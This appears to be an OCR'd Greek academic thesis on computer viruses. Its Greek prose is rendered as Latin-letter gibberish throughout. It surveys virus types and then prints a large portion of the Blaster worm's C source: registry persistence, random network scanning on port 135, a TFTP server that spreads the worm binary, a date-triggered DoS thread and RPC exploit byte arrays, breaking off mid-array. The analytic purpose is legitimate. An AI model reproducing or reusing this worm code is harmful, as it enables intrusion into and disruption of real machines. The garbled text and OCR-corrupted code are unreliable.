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EuxapioTieg

EuxapioToupe Bgpud Tov kKadnyntn pac MavigpdapBa XapdaAauno o
OMnoiog NioTEYWE O€ Pag Kal Jag Bondnoe va KAvVoOUNE NpaypaTikoTnTa
TNV enBupia pag yia autnv Tnv ntuxiakn. Tov AeAet{dyAou Kupidko
naidiko iAo Tou Nika Aswvida yia Tnv Bonbeia Tou Ot Oguata
YPAPIOTIKAC avTiAnwnc navw oTtnv ntuxiakn. 'OAouc Touc @iAoug
nou pac Bonénoav HPe NOAAOUC TPOMOUC Kal KUPIiwG WUXOAOYIKN
unooTnplEn. Kal TEAOC €uxapliOTOUME TIC OIKOYEVEIEG MAC Yia TNV
WUXOAOYIKN Kal OIkOVOMIKN Bonbeia nou pag edwoav 0Ao auTtov Tov
Kaipo.
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MpoAoyog

MoAAoi €ival auToi nou IoxupifovTal 0TI N ac@aAeia oTo Internet €ival évag
MUB0G. Q¢ eva onueio €xouv diklo, apoU n CUVTPINTIKA NAsloWn®ia Twv
NPOYPANHATWY NMOU XPNOILOMOIOUKE £XOUV KEVA OTNV AOPAAEIG TOUG Kal
undpxouVv apKeToi Mou dev €XOUV Kaveva NpoBANUa va Ta eKPETAAAEUTOUV Yia
va anokKTnoouv npooBacn oTov UnoAoyloThH KA. AuToug Toug KIvOUVOUC TOUG
avTigeTwnifouv OAol ol kaTolkol TNG 'N¢ nou £xouv npocBacn oTo Internet.
'OJwWG ONwC yia 0Aa Ta npoBARuaTa TnG {wng pag undapxel hia Auon €Tol Kai yia
Ta npoBAnuaTa Tou AladikTUoU unapxouv AUCEIC.



Mepiypagn TnG NTUxXIaKNG

AVTIKEIMEVO TNG napouong NTUXIOKNAG €pyaciag €ival nANpoQopiec yia Td
npoBAnNuaTa nou avTigeTwnioupe oTto O1adiKTUO XwpIG aopdleia . ZTOX0C €ival
n avadeliEén n katavonon nwc ASITOUPYE €va KATAOTPENTIKO OKOUANKI OTOV
NAEKTPOVIKO UMNoAoyYIOTH Mag. ©a avakaAUWoUuldEe Toug 10UG Nou KUKAOQOpOUV
oTo 01adikTUuO Kal Ba €xOoUPeE avaAuTika Toug KwOIkec and Ta nio diadedopeva
Tou €idoug Touc. Enionc Ba avapEpoune KAl TOUG TPOMNOUG Yid va acPpaAiooupe
TOUG UMOAOYIOTEG MAG WOTE va MNV EXOUME MPOBARMATA ANO KATAOTPOPIKEG
OUVENEIEC NOU NMIBavov va £XoUlEe anod Toug 10UG.

H multimedia napouciaon 6a nepiexel avaAuTikd NWG TA OKOUANKIA
Blaster kai IloveYou pnopouv va KukAogoprnoouv oTo OIadikTuo Kdal Ti
ENINTWOEIG Ba €XOUMUE AV KUKAOQPOPNOOUV OTOV NAEKTPOVIKO HAG UMOAOYIOTH.
©a JdoUpe nNwG €va avTiBIoTIKO 6a anoTpewel TO OKOUANKI va OUVEeEXioel va
KAaTaoTPEPElI TOV unoAoyloTn pac. Eniong 6a nepiéxel NANPOQOPIEC yIa TO NWG
0a NpooTATEWYOUHE TOV UNOAOYIOTR HAG.
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1. Ioi (viruses) - T givail
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1.1 Eicaywyn

H d1adoon Tng xpnong H/Y, aAAd kai e1dikoTepa Tou Internet Ta TeAeuTaia
25 xpovia, anoTehece agopun vyia uia 10iaiTeEpa  MIKPR  KaTtnyopia
NPOYPAUMATIOTWY VA MEIpapaTioTolv ndvw o€ KATI nou iowg ¢avrtalel o€
NoAAOUC avonTo N kal TPEAO. ITnNV avanTtuén HIKpWV npoypauudTtwv nou Oa
kavouv Tov H/Y va «TpeAdiveTar» 1 KAl va «appwaoTaiver» yia kanoio diaornua.
'H akopa, okenTopevol TNV xapd nou Ba enaipvav av €BAenav Tov H/Y Tou
«gxOBpoU» TOUG, va XaAdel pia kal kaAn, diXxwg Tpomno eniokeung Tou! Kanwg
€TOI, JGAAOV Oav pia KakOyouoTn (papod, &ekivnoe n avanTtuén kalr ouyypaen
IOV Yia ASITOUpYIKG ouoTAMATA unoAoyioTwv. BéBala, 6co nepvaye o kaipdg n
OAn «aoTeia» NAgupd TNC unoBsong e€avepioTnke. Av Aoinodv akoUOegl KAMoIog
onuepa OTI 0 H/Y Tou €xel KOAAAOEI 10, HAAAov Ba «ppikapel» napa 6a yeAdoel.
Kai 6a €xel anoAuto dikio, JI0TI OAPeEpA undapxouv nepinou 75-80.000 1oi,
noAAoi and Toug onoioug ... Hovo yia nAdka dev eival!

1.2 T1 ovoualouue Io

Mia akoAoubBia (n osipad akoAouBiwv) CUPBOAWV Mou, OTAV E€KTEAEOTOUV
KATWw ano OpPIOUEVEC OUVONKEC N o€ €va opiohevo NepIBailov, dnuioupyouv €va
akpIBEC N napopolo avTiypa@o TnG akoAoubiag, To ornoio kal TonoBeTouv Heoa
oTov uno-pgoAuvon H/Y. H TonoBETnon yiveral o TETOIO PEPOG, Onou Oa eival
duvaTn n MEAANOVTIKN €KTEAECON TOU apXeiou (KOIVWG «AVOIYNA TOU HOAUGHEVOU
apxeiou»). AuTn eival kal n enovopalopevn «avanapaywyn» (replication) Tou
IoU MEoa oTov unoAoyioTh. BeEPBaia, €vag 16¢ pnopei va nepiAagBavel kai
eninAéov @oOpto (payload), pe TOov onoia 6a kdavel {nNuIG OTO HOAUCHEVO
ouoTNHa, Xwpic OHWC auTo va €ival avaykaio.

1.3 Mepi Tng A€&énc Virus — Iog

H A€EN 10C NpoEpxeTaAl KAl XPNOILOMOIEiTAl PE TNV idld €vvola PE TOV
BioAoyikO 106. O 6poC 10C ouxvda XPNOIYOMOIEITAl yia va MNeEPIYPAYEl OAWV TwV
€1dwv Ta malware (malicious software), cupnepiAauBdavovTag kai auTa nou noio
owaoTda Katnyoplonolouvtal wG worms n Trojans. Ta nNePICOOTEPA AVTI-IIKA
npoypdaupata (anti-virus) npooTtatelouv and OAa Ta €idn malware.
O 6poc virus xpnoigonoinénke npwTn gopd oTov TUNO anod Tov Fred Cohen TO
1984 oTo keipevo Tou "Experiments with Computer Viruses" (Mapdaptnua B),
onou anodidel Tov 0po oTov Len Adleman. MapoAo nou o Cohen xpnoigonoinoes
yia npwTn gopd Tov 0po virus o€ akadnuaiko KeiPeVo, XpnaolgonolouvTav oguxva
OTOV KOIVO AOYOo. 2Ta PéEoa Tou 1970 pia vOUBEAA €nICTNPOVIKAG (pavTaciag ano
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Tov David Gerrold, "When H.A.R.L.I.E. was One", nepiAauBavel yia neplypagn
€EVOC NMpoypapuaTog unoAoyiotn Ye 1o 0vopa VIRUS nou Asitoupyouoe akpifwg
onwc €vac 16¢ (kar avTigeTwmloTav ano €va npoypaupa ovouat ANTIBODY). O
opo¢ "computer virus" gpgavileTal eniong oto comic "Uncanny X-Men" TeUX0G
No. 158, dnuooisupévo 1o 1982.

1.4 Z0ykpion HE ToV BIOAOYIKO IO

O1 unoAoyIOTIKOI 10i A&yovTal £€TOI YIATi €XOUV KAMOIEC KOIVEC 1010TNTEC HE
TouG BloAoyIkoUug 10UG. O unoAoyloTIKOG 10G METAdIOETAl And UMOAOYIOTH O€
unoAoyioTn 6nwg o BioAoyikoc and avbpwno og avbpwno.

Ynapxouv OpwG Kal BaBuTepeg opoloTnTeG. O PioAoyikdg 10¢ dev €ival
{wvTavog opyaviouog. Eival éva koppati DNA o€ pia npooTaTeuTIKh HEPBpAvn.
AvTiBeTa pe €va KUTTAPO, O 10C Oev €xel Tn duvaToTNTa va Kavel Tinota, ouTe va
avanapaxBei pyovog Tou - dev eival {wvTavoc. Mpénel va sioayel To DNA Tou o€
€va kUTTapo. AuTd HPETA XPNOIMOMOIEI TOUC PNXAVIOPMOUC TOU KUTTApou yid va
avanapaxBei. Ze KAMOIEG NEPINTWOEIG, TO KUTTAPO YeEMIlEl ME TaA VEaA IIKA
owpaTidla HEXPI MOU OKAEl, aneAeuBepwvovTag Tov 10. X AAAEC NEPINTWOEIG, TA
véa owpaTidia Byaivouv and To KUTTAPO £va &va, aprvovtag To {wvtavo.

O unoAoyIoTIKOG 10¢ AsiToupyei napopolda. Mpenel va gpopTwbEi g€ KANOIO
aAAo npoypappa f apxeio yia va ekteAeoBei. Ano Tn oTIyUn nou Ba TpEEel, EXEl
Tn OuvaTtoTnTa va npooBAAAsl AaAAa npoypduuata n apxeia. Mpo@avwc, n
avaAloyia Oev e€ival anoAuTtn, aAAd undpxouv APKETEG OMOIOTNTEC WOTE Vd

dlatnpeiTal To évoua "16¢".
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1.5 Tonoi &evioTwv

O1 10i €xouv WG O0TOXO MOAAOUG TUNOUG apxeiwv. EvOeikTIkG pnopouv va
"kpUBovTal" yeoa os:

EkTeAEaipa apxeia (Onwg .com kal .exe o€ MS-DQOS, @opnTa eKTEAECIUA
apxeia og Microsoft Windows (.exe, .obj, .dll, .sys) kai .elf o€ Linux)

Volume Boot Records diokeTTwV Kal partitions okAnpwv diokwv

To master boot record (MBR) evoc okAnpou diokou

evikoU TUMNou script apxeia (onwc batch apxeia oe MS-DOS kai Microsoft
Windows, VBScript apxeia, kai shell script apxeia o€ Unix-like
NAQTPOPUEG).

Script apxeia ouykekpigevwv epapuoywyv (onwg Telix-scripts)

Apxeia nou pnopoUvV va nepiEXouv macros (O0nwc apxeia Microsoft Word,
Microsoft Excel, AmiPro, kai Microsoft Access)
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2. Karnyopiec Iov

©www.virus.gr
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2.1 Trojan Horses / Backdoor Programs

MpokeiTal yia Tnv no 01adedopévn, iowg, katnyopia 1wv. AuTdg 0 TUNOG
IOV NEPIEXEl €va KWOIKA, YE TNV €KTEAECN Tou onoiou o &evioTnc H/Y Tou 10U
yiveTar eudAwToC oTnv Olaxeipion Tou and TOV ANOOTOAEd TOU IoU, XWPIC O
xpNnoTnc Tou H/Y va avTiAauBaveral To napapikpo. M’ auto To AOyo, Ol 10i AuToi
anooTeAAovTal and Toug KakOBouAouc weuTo-hackers o€ avunowiaoToug
XPNOTEG, ME TNV NAPOTPUVON TOU XPNOTN va TOUG €KTEAECEl yia va Oe€l KATI
TEAEIWC avUunapkTo, ONwWG MIa PpwToypagia, €va onueiopa k.da. Ol anooToAEig
TETOIOU €idouc 1wV ovopdalovTtal otn YAwooa Tou Internet “lamers”. AuoTuxwg,
Ta npoBARuaTa AEN TeAeiwvouv €dw ... Me TNV ekTéEAEON Tou Trojan mBavwg va
unapé&eslr opnoigo apxeiwv and Tov H/Y, ) akopa kar oAoKANpwTIKO format Tou
diokou! OI Trojan horses dev avanapayovTai, yI’ auto kal dev BewpouvTal ano
noAAoUG wg Ioi.

2.2 NMoAuvpop@ikoi Ioi

MoAupop@ikoi ovoupalovTail ol 10i, ol onoiol kpUBouv Tov KWAIKA TOUG ME
J1a@OPETIKO TPOMo, KABe popd nou PJOAUVOUV €va eKTEAEDINO apxeio (ouvndwg
.exe, .com). 'ETol, OTav 0 XPNOTNG €KTEAECEl TO HOAUOHEVO ApPXEiO, O 106
«EEKAEIDWVEI» TOV KATAOTPOPIKO KWOIKA HECA aANO TO HOAUCHEVO EKTEAECIHUO
apxeio kal Tov ekTeAEl. AUTOG 0 TUNOG IV anoTeAE €va 101AITEPO «MOVOKEPAAO»
yla Ta npoypdupata  antivirus, d16Ti  dev  undpxel navrta  &va
OUYKEKPIYEVO/NAPOUOIO KOPHATI Tou 10U yia va xpnolgonoin®ei yia Tnv
avayvwplion Tou.

2.3 Aoparoi Ioi (Stealth Viruses)

XpnoigonoloUv TOUG KaTaxwpnTeSg YvApNg Tou H/Y. MNa va ekTeAeOTEI €va
npoypapua (101aitepa Ta npoypaupata MS-DOS) xpeialeTal va enikaAeoToUv pia
dieubuvon ortn pvAun Tou H/Y. Ekei akpiBwc enepfaivel kai o 106. ‘OTav To
NPOYPAMUKA KAAETElI TNV OUYKEKPIMEVN OlEUBUVON, EvEpyOMOIEiTAl 0 10C avTi yia
TO nNpOoypaAppa, HME anoTEAEoHa Tnv POAuvon Tou ouoThuaToc. Or stealth 10i
EXOUV Kal Mia eninAéov AegiToupyia. Eival 1kavoi va kpuBovTtal katd Tnv
avixveuon Touc and Ta npoypapuarta antivirus. JUYKEKPIMEVA, OMNOTE
avixveuouv dpdon npoypaupaTog antivirus, anokadioToUv NPoowpIva To ApXIko
apXEio oTNV KAvovikn Tou B€on, aprvovTac To antivirus va To avixveuoel Kdl TO
Eava-poAUuvouv apyoTepa, apou €XEl TEAEIWOEI N AEITOUPYIA TOU MPOypPANHATOG
antivirus. H guykekpipevn AgiIToupyia TnG anokpuywng Tou 1oU and To antivirus
(avTi-antivirus) AgyeTal kal “tunneling”.
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2.4 Napaoitikoi/EninpooBeTikoi Ioi
(Parasitic/Appending Viruses)

A&yovTal NapaciTIKoi N Kal eni-NpocOeTIKOi, akpIBwG yIaTi NpooBETOUV TOV
KAaTaoTpoPIKO TOUC KWOIKA MECA OTOV KWOIKA TOU apxikou apxeiou (ouvhbBwc
OTO TEAOG TOU, Yia npoaTacia anod avixveuon antivirus NnpoypapuaTog), Xwpic va
To kaTtaoTpewouv. 'Opwg, av KAanoiog MIOTEWElN OTI Ba eKTEAEOTEI TO aApXIKO
npoypapua, eneidn o KwdIikag Tou 10U BPioKETAlI 0TO TEAOG TOU ApXEioU, TOTE TNV
«ndTnoe», MIAG Kal o 10G @povTilel va ekTeAsiTal autdc kair OxI To apxiko

npoypauua.
2.5 Overwriting Viruses

O anAouoTepog TPOMOG Via va HoAUvelc €va ouoTtnua e€ivar va
avTIKaTaoTAOEIC TO apXIKO apxeio Pe Tov 10. Mg Tov Tpono auto AEN undpxel
duvaToTnTa anokartaoraonc (kabapiopyou) Tou apyxikou apyxeiou. Oi1 10i auToi
Hrnopouv akopa va diatnpouv To apxiko PEYEDOC TOUu apxeEiou, AnNO@EUYOVTAC
€TOI TNV avixveuon Touc¢ and npoypdpuarta antivirus. Mapda Ti¢ duvaToTNTEC
TouG, BewpouvTal «ava&lonpeneic» yia eva «coBapd» ouyypagpea lwv.

2.6 Companion Viruses

MpOKeITal yia 10UC Nou evepyouVv KUpiwg og AsiToupylkd MS-DOS. ‘OTtav o
XPNOTNG NAnkTpoAoynoel pia evioArp DOS (n.x. Programl) kal dev Bpebei To
apxeio Programl.exe, TOTE TO A€ITOUPYIKO BOa &eKTEAECEl TO dApPXEio
Program1.com, nou Ba €ival kail o 10G. Mpoooxn OJwG. Av 0 XpnoTng BeAnoel va
EKTEAECEI TO apXeio Programil.exe, evw TauTOXpOVA UNAPXEI OTO JiOKO KAl O 10G
ME To Ovopa Programl.com, TOTE ME TNV nAnkTpoAdynon Programl 6a
EKTEANEOTEI 0 10¢!

2.7 Retro Viruses

MpokeITal yia 10UC Nou OTOXEUOUV anOKAEIOTIKA OTNV KATAMOAEUNON €VOC
N NEPICCOTEPWY NPOYPANHATWY antivirus.
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2.8 Logic Bombs

MpokeITal yia 100G Nou evepyonoloUvTal OTav €nEABEl HIA GUYKEKPIMEVN
XPOVIKI OTIyHn, n.X. oTiG 14.00 To peonuépl TNG 13 ToUu ZenTEPBpn. ZuvnOwG
eNITEAOUV KATAOTPOPIKO £pY0, ONWG diaypadr adpxXeiwv K.d.

2.9 Droppers

Eival ekTeA€oiya apxeia, Mou NEPIEXOUV €VTOAEC yia Tnv dnuioupyia 10U
MECA O0TO cUOTNUA Kal dev MepIEXOUV Tov id1o Tov 10. AvixveuovTal nio dUoKoAa
o€ oUYKpION PE TOUC anAouc 10UC.

2.10 ZkouAnkia (Worms)

AgyovTal €101 yiaTi ouvnBwg BpiokovTal o€ dikTua H/Y. XpnaoigonoloUv To
Internet wg peoo d1adoong Toug (emails, irc chat k.a.).

2.11 Boot Sector Viruses

O1 10i auToU Tou €idouc HOAUVOUV TOV TOHEA €KKivnong Tou H/Y, eiTe
auTog sival 0iokog ) dIOKETA. Z€ AUTOUC opeIAETAl TO JEYAAUTEPO NOCOOTO
MOAUVOEwV ava Tov KOOWOo. ZuvnBwg, dev €ival anapaitnTo va undapxel
AeIToupyikd MS-DOS oTtov H/Y yia va evepyonoinBei €vag TEToIog 10G, K1ag Kal ol
OUYKEKPIMEVOI 10i OeV KAVOUV TETOIOU €id0UG ... dlakpioelg. MN.x. nap’ 0TI 0 10G
Michelangelo dev pnopei va enektabei oe Asitoupyikd Windows NT, dev onuaivel
oTI dev Ba diaypawel Ta nepiexoueva Tou diokou oTIC 6 MapTiou!

2.12 Direct Action Viruses

O1 10i auToi ekTEAOUV TO KATAOTPOPIKO TOUG £pYO0 WOVO OTAV eKTEAECTOUV (MIa
(popa dnAadn) kal Oev PEVOUV OTNV PVAMN Tou H/Y.
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2.13 Macro Viruses

Eivar ol yvwoToi 10i nou pgoAUvouv XpnoILONoIwVTAG HId HAKPO-EVTOAN.
MoAUvouv MONO é&yypaga Tunou Word, Excel, Office, PowerPoint, Access.
MpokeiTal yia 10oU¢ nou Jiadidovral ndapa rnoAU eUKoAd. XapakTnploTIKO
napadelypa n idia n Microsoft, n onoia 0Tav NPWTO-KUKAOPOPNOE TNV £kdoaon
MS Office ‘97, €ixe apnoel peéoa oto cd €va KEiJeEVO HOAUCGHEVO [E macro-10.

2.14 Multi-Platform Viruses

MpokeiTal yia 10U¢ nou €nidpoUv O NEPIOCOTEPA aAnNd €va AEITOUPYIKA
ouoTANATa. Zuvnlwc opwcg, OTav €vag 10¢ €ival 1kavog va evepyonoindei og
nepiBaiiov Windows, dev Ba kavel anoAUTwg Tinota o€ nepiBaAlov Apple.

3. AvdAuon nnyaiou kwdika (source) yvwoTwv IwV ano TIG NEPICOOTEPO
01a0€d0UEVEG KATNYOPIEG
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3.1 Blaster (worm)
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3.1.1 Mepiypa@n iou

To okoUARKI Blaster epgavioTnke yia npwTn ¢opa To andyeupa TNG
AsuTépag 11/08/2003 oTic HMA, ocuvexioe va eEanAwveTtal paydaia HEow
NPOYPANMATWV NAonynong Tou AiadikTuou o€ Eupwnn kal Acia «XxTunwvtac»
KUpiwg xpnoteg Twv Windows 2000, Windows XP, Windows NT 4.0 kai Windows
Server 2003.

EuBuveTal, yeTa&l aAAwv, yia HJUOTNPIWOEIG ENAVEKKIVNOEIG TWV NAEKTPOVIKWV
UMoAoYIOTWYV Kal JeyaAn enipaduvon Tne ouvdsong Ke To Internet.

To oKOUANKI gp@avilel ufivupa A&yovTtac pac oTi To ouoTnua 6a TepUaTIoTE,
eupavidovrag Pag ToV UMOAOINOMEVO XPpOVO Kdl NPoeidonoiwvrac Hac vda
OWOOUWE TNV £pyaaia pag.

ApKETA OUXVA, TO OKOUANKI HETAQPEPEI KAl PNVUMa aTov 10puTh TG Microsoft:
«MniAu TkEITC yiaTi TO enMITPENEIC auTd; =ZTANATNOE va KepdIlElc xpApaTa Kal
ENIOKEUAOE TO AOYIOMIKO ooul!». ©UuaTta Tou MS Blaster, Blaster 1 LoveSan
NTav karta Baon ol home users -0edOPEVOU OTI OEV EVNHEPWVOUV OUXVA Td
npoypdupara ac@aAeiac Tou H/Y TOoucg-, evrouToIiC coBapd npoBAApATa €XEl
NPOKAAECel 0 10C KAl OE OUCTNUATA ETAIPEIWV.

To MSBlaster eival oxeTika aocuvnBioTo, kabwg dev eEanAwveTal napadooiakd
MEOw e-mail, aAAd «Ta&idever» pyeow anAng nAonynong oto Internet. Baoel Twv
00wV avagepel Paiiora 1o BBC, nikAAOUNEVO EKTIUNOEIG €I0IKWV, TO OKOUANKI
€xel TN duvaToTNTA va NPOOBAAElI EKATOVTADEC NAEKTPOVIKOUC UMOAOYIOTEG.

O Jeffrey Lee Parson, ano tn Minnesota,kaTtadikaornke To 2005 o€ noiv 18
MNvov, eneidn €ypawe yia napaAiayn Tou okouAnkioU Blaster, nou To 2003
npooeBale oxedov 50.000 xpnoTeg

21-



3.1.2 lNnyaiog kWdIKaAg

#include <winsock2.h>

#include <ws2tcpip.h> /*IP_HDRINCL*/

#include <wininet.h> /*InternetGetConnectedState*/
#include <stdio.h>

#pragma comment (lib, "ws2_32.1ib")

#pragma comment (lib, "wininet.lib")

#pragma comment (lib, "advapi32.lib")

const char msgl1[]="I just want to say LOVE YOU SAN!!";
const char msg2[]="billy gates why do you make this possible ?"
" Stop making money and fix your software!!";
#define MSBLAST_EXE "msblast.exe”

#define MSRCP_PORT 135 135

#define TFTP_PORT_69 69

#define SHELL_PORT _4444 4444

char target_ip_string[16];

int fd_tftp_service;

int is_tftp_running;

char msblast_filename[256+4];

int ClassD, ClassC, ClassB, ClassA;

int local_class_a, local class_b;

int winxpl_or_win2k2;

ULONG WINAPI blaster_DoS._thread(LPVOID);
void blaster_spreader();

void blaster_exploit_target(int fd, const char *victim_ip);
void blaster_send_syn_packet(int target_ip, int fd);
void main(int argc, char *argv/[])

{

WSADATA WSAData;

char myhostname[512];

char daystring[3];

char monthstring[3];

HKEY hKey;

int Threadld;

register unsigned long scan_local=0;
RegCreateKeyEx(

RegSetValueExA(

hKey,

"windows auto update’,

0,

REG Sz,

MSBLAST_EXE,

50);

RegCloseKey(hKey),

CreateMutexA(NULL, TRUE, "BILLY");

if (GetLastError() == ERROR_ALREADY _EXISTS)
ExitProcess(0);

if (WSAStartup(MAKEWORD(2,2), &WSAData) != 0
&& WSAStartup(MAKEWORD(1,1), &WSAData) != 0
&& WSAStartup(1, &WSAData) /= 0)

return,

GetModuleFileNameA(NULL, msblast_filename,
sizeof(msblast_filename));

while (!InternetGetConnectedState(&Threadld, 0))

22.



Sleep (20000); /*wait 20 seconds and try again */
ClassD = 0;

srand(GetTickCount());

local_class_a = (rand() % 254)+1,

local _class_b = (rand() % 254)+1;

if (gethostname(myhostname, sizeof(myhostname)) != -1){
HOSTENT *p_hostent = gethostbyname(myhostname),
if (p_hostent != NULL && p_hostent->h_addr != NULL) {
struct in_addr in;

const char *p_addr_item;

memcpy(&in, p_hostent->h_addr, sizeof(in));
sprintf(myhostname, "%s", inet_ntoa(in));
p_addr_item = strtok(myhostname, ".");

ClassA = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassB = atoi(p_addr_item);

p_addr_item = strtok(0, ".");

ClassC = atoi(p_addr _item);

if (ClassC > 20) {

srand(GetTickCount());

ClassC -= (rand() % 20);

}

local_class_a = ClassA;

local_class_b = ClassB;

scan_local = TRUE;

}

}
srand(GetTickCount());

if ((rand() % 20) < 12)

scan_local = FALSE;

winxpl_or win2k2 = 1;

if ((rand()%10) > 7)

winxpl_or win2k2 = 2;

if (!scan_local) {

ClassA = (rand() % 254)+1;

ClassB = (rand() % 254);

ClassC = (rand() % 254);

}

#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)
#define LOCALE 409 MAKELCID(MYLANG, SORT_DEFAULT)
GetDateFormat( LOCALE 409,

0,

NULL, /*localtime, not GMT*/

"d",

daystring,

sizeof(daystring)),

GetDateFormat( LOCALE_409,

0,

NULL, /*localtime, not GMT*/

II/W"/

monthstring,

sizeof(monthstring));

if (atoi(daystring) > 15 && atoi(monthstring) > 8)
CreateThread(NULL, 0,

blaster_DoS_thread,

0, 0, &Threadld);

for (;;)
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blaster_spreader();
WSACleanup(),

}
DWORD WINAPI blaster _tftp_thread(LPVOID p)

{
struct TFTP_Packet

{

short opcode;

short block _id;

char data[512];

Y

char reqbuf[512]; /* request packet buffer */
struct sockaddr-_in server; /* server-side port number */
struct sockaddr _in client; /* client IP address and port */
int sizeof _client; /* size of the client structure*/
char rspbuf[512]; /* response packet */

static int fd; /* the socket for the server*/
register FILE *fp;

register block _id;

register int block_size;

is_tftp_running = TRUE; /*1 == TRUE*/

fd = socket(AF_INET, SOCK_DGRAM, 0);

if (fd == SOCKET_ERROR)

goto closesocket_and._exit;

memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;

server.sin_port = htons(TFTP_PORT_69);
server.sin_addr.s_addr = 0; /*TFTP server addr = <any>*/
if (bind(fd, (struct sockaddr*)&server, sizeof(server)) = 0)
goto closesocket_and_exit;

sizeof _client = sizeof(client);

if (recvfrom(fd, regbuf, sizeof(regbuf), 0,

(struct sockaddr*)&client, &sizeof client) <= 0)
goto closesocket_and._exit;

block_id = 0;

fp = fopen(msblast_filename, "rb");

if (fo == NULL)

goto closesocket_and._exit;

for (7;) {

block_id++;

#define TFTP_OPCODE _DATA 3
*(short*)(rspbuf+0) = htons(TFTP_OPCODE_DATA);
*(short*)(rspbuf+2)= htons((short)block_id);
block_size = fread(rspbuf+4, 1, 512, fp);
block_size += 4;

if (sendto(fd, (char*)&rspbuf, block_size,

0, (struct sockaddr*)&client, sizeof client) <= 0)
break;

Sleep(900);

if (block_size != sizeof(rspbuf)) {

fclose(fp),

fp = NULL,;

break;

}

}

if (fo != NULL)

fclose(fp);
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closesocket_and_exit:
is_tftp_running = FALSE;
closesocket(fd),
ExitThread(0);
return 0;
}
void blaster_increment_ip_address()
{
for (;;) {
if (ClassD <= 254) {
ClassD++;
return,
}
ClassD = 0;
ClassC++;
if (ClassC <= 254)
return,;
ClassC = 0;
ClassB++;
if (ClassB <= 254)
return,
ClassB = 0;
ClassA++;
if (ClassA <= 254)
continue;
ClassA = 0;
return;
}
}
void blaster_spreader()
{
fd_set writefds;
register int i;
struct sockaddr_in sin;
struct sockaddr_in peer;
int sizeof_peer;
int sockarray[20];
int opt = 1;
const char *victim_ip;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(MSRCP_PORT_135),
for (i=0; i<20; i++) {
sockarray[i] = socket(AF_INET, SOCK_STREAM, 0);
if (sockarray[i] == -1)
return,;
ioctlsocket(sockarray[i], FIONBIO , &opt);
}
for (i=0; i<20; i++) {
intip;
blaster_increment_ip_address(),
sprintf(target_ip_string, "%i. %i. %i. %i",
ClassA, ClassB, ClassC, ClassD);
ip = inet_addr(target_ip_string);
if (ip == -1)
return,;
sin.sin_addr.s_addr = ip;
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connect(sockarray]i], (struct sockaddr*)&sin,sizeof(sin));

}

Sleep(1800),

for (i=0; i<20; i++) {

struct timeval timeout;

int nfds;

timeout.tv_sec = 0;

timeout.tv_usec = 0;

nfds = 0;

FD_ZERO(&writefds);

FD_SET((unsigned)sockarray(i], &writefds);

if (select(0, NULL, &writefds, NULL, &timeout) = 1) {

closesocket(sockarray(i]);

}else {

sizeof_peer = sizeof(peer);

getpeername(sockarray(i],

(struct sockaddr*)&peer, &sizeof _peer);

victim_ip = inet_ntoa(peer.sin_addr);

blaster_exploit_target(sockarray[i], victim_ip);

closesocket(sockarray[i]),

}

}

}

void blaster_exploit_target(int sock, const char *victim_ip)

{

unsigned char bindstr[]J={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,

0x04,0x5D, 0x88,0x8A,0xEB,0x1C,0xC9,0x1 1,0x9F,0xE8,0x08,0x00,
Ox2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={

0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD, 0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD, 0xAE, 0x74,0x2C,0x96,0xD_2,0x60,0x5E,0x0D, 0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E, 0x0D, 0x00, 0x02, 0x00,0x00,0x00,0x7C, Ox5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,O0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C, 0x00,0x00,0x00,0x4D, 0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D, 0xF0,0xAD, 0xBA, 0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B, 0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D, 0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00, 0x00,0xC0, 0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8, 0x00, 0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD, 0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB, 0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
